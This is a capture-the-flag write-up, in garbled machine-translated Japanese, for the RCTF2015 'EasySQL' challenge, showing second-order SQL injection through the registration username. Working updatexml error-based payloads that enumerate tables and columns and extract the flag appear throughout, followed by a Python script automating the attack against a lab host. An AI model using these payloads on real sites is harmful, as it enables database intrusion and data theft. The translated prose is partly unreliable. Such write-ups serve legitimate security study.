【RCTF2015] EasySQL
ドローンを開き、次のようにインターフェースがあります
登録ページに、私はそれを試してみました、
username
そしてemail
直接文字が禁止されているかについてファジングフィルタを配置します登録が成功した後、パスワードを変更する機能があり、ここではテストセンターでは、二次注入する必要があります
これは、データベースに格納されたときに特殊文字を扱うませんが、あなたはここにコードを変更すると、データベースから読み出し、データ処理されています
登録したユーザー名
'sss"\
エコーであっパスワード変更エラーでこのように類似しているはずのSQL文を推測することができます
select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
試験後、フラグないフラグテーブルに
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
これは、出力が長さの制限を持っていることがわかりました
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
ここでは、ために優れている、恥ずかしいです
reverse
出力を反転しますusername=peri0d"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#
このタイトルのプロセス全体を代表して、スクリプトを入れて、だけでなく、私の愚かを記録
import requests url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php' url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php' url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php' pre = 'peri0d"' suf = "'))),1))#" s = 'abcdefghijklmnopqrstuvwxyz1234567890' s = list(s) r = requests.session() def register(name): data = { 'username' : name, 'password' : '123', 'email' : '123', } r.post(url=url_reg, data=data) def login(name): data = { 'username' : name, 'password' : '123', } r.post(url=url_log, data=data) def changepwd(): data = { 'oldpass' : '', 'newpass' : '', } kk = r.post(url=url_change, data=data) if 'target' not in kk.text: print(kk.text) for i in s: paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf register(paylaod) login(paylaod) changepwd()